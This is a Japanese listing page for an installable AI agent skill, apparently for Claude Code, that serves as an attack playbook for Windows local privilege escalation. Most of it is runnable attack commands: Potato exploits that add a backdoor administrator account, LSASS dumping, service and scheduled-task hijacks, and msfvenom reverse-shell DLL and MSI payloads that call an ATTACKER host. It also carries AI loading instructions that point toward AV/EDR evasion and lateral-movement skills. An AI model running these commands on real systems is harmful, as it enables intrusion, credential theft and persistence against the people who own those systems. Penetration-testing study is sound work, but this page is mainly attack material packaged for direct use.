windows-privilege-escalation について
認可済みのセキュリティ評価向けに、Windowsのローカル権限昇格を扱うスキルです。システム調査に加え、トークン、サービス、DLL、タスク、レジストリ、名前付きパイプの手法とOSごとの制約をまとめています。
主な機能
- 01システムと権限の調査
- 02トークンとPotato系の手法
- 03サービス設定不備の確認
- 04DLLハイジャックのパターン
- 05タスクと自動起動の確認
- 06名前付きパイプの偽装
活用シーン
- 01Windowsの権限昇格経路の評価
- 02サービスとDLL設定のリスク確認
- 03OSバージョン別の手法選定
- 04タスクとレジストリ自動起動の監査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill windows-privilege-escalationインストール後、Claude Code で/windows-privilege-escalationを入力して読み込まれたか確認します。
同梱ファイルTOKEN_POTATO_TRICKS.mdUAC_BYPASS_METHODS.md
詳細
スキル:Windows ローカル権限昇格 — エキスパート向け攻撃プレイブック
AI 読み込み指示:エキスパート向けの Windows 権限昇格テクニックです。トークン操作、Potato ファミリー、サービスの設定ミス、DLL ハイジャック、AlwaysInstallElevated、スケジュールされたタスクの悪用、レジストリの自動実行、名前付きパイプの偽装を扱います。ベースモデルでは、微妙な権限の前提条件や OS バージョン固有の制約を見落としがちです。
0. 関連するルーティング
詳しく調べる前に、以下の読み込みを検討してください。
- 権限昇格後にほかのホストへピボットする場合は、windows-lateral-movement
- AV/EDR に権限昇格ツールをブロックされる場合は、windows-av-evasion
- ホストがドメインに参加しており、AD レベルでの権限昇格が必要な場合は、active-directory-kerberos-attacks
- ACL の設定ミスを利用したドメイン権限昇格には、active-directory-acl-abuse
高度なリファレンス
以下が必要な場合は、TOKEN_POTATO_TRICKS.md も読み込んでください。
- Potato ファミリーの詳細な比較(JuicyPotato → GodPotato の進化)
- OS バージョンに応じたエクスプロイトの選定
- 各亜種に必要な権限とプロトコルの詳細
以下が必要な場合は、UAC_BYPASS_METHODS.md も読み込んでください。
- UAC バイパス手法の一覧(fodhelper、eventvwr、sdclt など)
- 自動昇格バイナリの悪用
- 信頼されたディレクトリを偽装する手法
1. 列挙チェックリスト
システムコンテキスト
whoami /all & REM Current user, groups, privileges
systeminfo & REM OS version, hotfixes, architecture
hostname & REM Machine name
net user %USERNAME% & REM Group memberships
トークンの権限(重要)
whoami /priv
| 権限 | 権限昇格の手段 |
|---|---|
SeImpersonatePrivilege | Potato ファミリーのエクスプロイト(§2) |
SeAssignPrimaryTokenPrivilege | トークン操作、Potato の亜種 |
SeDebugPrivilege | LSASS のダンプ、SYSTEM プロセスへのインジェクション |
SeBackupPrivilege | 任意のファイルの読み取り(SAM/SYSTEM/NTDS.dit) |
SeRestorePrivilege | 任意のファイルの書き込み(DLL ハイジャック、サービスバイナリ) |
SeTakeOwnershipPrivilege | 任意のオブジェクトの所有権の取得 |
SeLoadDriverPrivilege | 脆弱なカーネルドライバーの読み込み → カーネルエクスプロイト |
サービスとスケジュールされたタスク
sc query state= all & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v & REM Verbose scheduled task list
インストール済みソフトウェアとパッチ
wmic product get name,version
wmic qfe list & REM Installed patches
ネットワークと認証情報
netstat -ano & REM Listening ports + PIDs
cmdkey /list & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
2. トークン操作とPotatoエクスプロイト
SeImpersonatePrivilege の悪用
サービスアカウント(IIS AppPool、MSSQL など)は通常、SeImpersonatePrivilege を持っています。これにより、提示された任意のトークンを偽装できます。
| ツール | OS のサポート | プロトコル | 備考 |
|---|---|---|---|
| JuicyPotato | Win7–Server2016 | COM/DCOM | 有効な CLSID が必要です。Server2019 以降ではパッチ適用済みです |
| RoguePotato | Server2019 以降 | OXID リゾルバーのリダイレクト | ポート 135 で制御可能なマシンが必要です |
| PrintSpoofer | Win10/Server2016-2019 | Print Spooler 経由の名前付きパイプ | 簡単で高速です。Spooler が実行中である必要があります |
| SweetPotato | 幅広く対応 | COM + Print + EFS | 複数の手法を組み合わせます |
| GodPotato | Win8–Server2022 | DCOM RPCSS | 最新のパッチが適用されたシステムでも動作します |
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}
SeDebugPrivilege の悪用
# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp
# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe
3. サービスの設定ミス
引用符で囲まれていないサービスパス
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
パスが C:\Program Files\My App\service.exe の場合、Windows は以下の順に試します。
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
最初に書き込み可能な場所に悪意のあるバイナリを配置します。
サービス権限の弱さ
# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc
書き込み可能なサービスバイナリ
# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary
4. DLL ハイジャック
DLL の検索順序(標準)
- 実行ファイルのディレクトリ
C:\Windows\System32C:\Windows\SystemC:\Windows- 現在のディレクトリ
%PATH%内のディレクトリ
エクスプロイト
# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
# Place in writable directory that comes before the real DLL location
既知の欠落DLLの標的
| アプリケーション | 欠落DLL | 配置先 |
|---|---|---|
| 各種 .NET アプリ | profapi.dll | アプリケーションディレクトリ |
| Windows サービス | wlbsctrl.dll | %PATH% 内の書き込み可能なディレクトリ |
| サードパーティ製アップデーター | VERSION.dll | アプリケーションディレクトリ |
5. ALWAYSINSTALLELEVATED
# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi
6. スケジュールされたタスクの悪用
# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"
# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"
# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path
PowerShell を使用したスケジュールされたタスク
# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
7. レジストリ自動実行
# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula
自動実行エントリが書き込み可能なパスを指している場合 → バイナリを置き換えるか、新しいエントリを挿入します。
8. 名前付きパイプの偽装
# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated
# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe
カスタムの名前付きパイプサーバー(SeImpersonatePrivilege が必要です):
# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token
9. 自動化ツール
| ツール | 目的 | コマンド |
|---|---|---|
| winPEAS | Windows の包括的な列挙 | winPEASx64.exe |
| PowerUp | サービス/DLL/レジストリの設定ミスをチェック | Invoke-AllChecks |
| Seatbelt | セキュリティに重点を置いたホスト調査 | Seatbelt.exe -group=all |
| SharpUp | PowerUp のチェックを C# に移植したもの | SharpUp.exe audit |
| PrivescCheck | PowerShell の権限昇格チェックツール | Invoke-PrivescCheck |
| BeRoot | 一般的な設定ミスの検出ツール | beRoot.exe |
10. 権限昇格の判断フロー
Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│ ├── Yes → Potato family (§2)
│ │ ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│ │ ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│ │ └── Older → JuicyPotato (need CLSID)
│ └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│ ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│ ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│ └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│ ├── Missing DLL in search path? → plant malicious DLL (§4)
│ └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│ └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│ ├── Task runs as SYSTEM with writable binary? → replace (§6)
│ └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│ └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│ └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│ ├── cmdkey /list → runas /savecred
│ ├── Autologon in registry? → plaintext creds
│ └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
├── Run winPEAS for comprehensive scan
├── Check internal services (netstat -ano)
├── Look for sensitive files (unattend.xml, web.config, *.config)
└── Check for kernel exploits (systeminfo → Windows Exploit Suggester)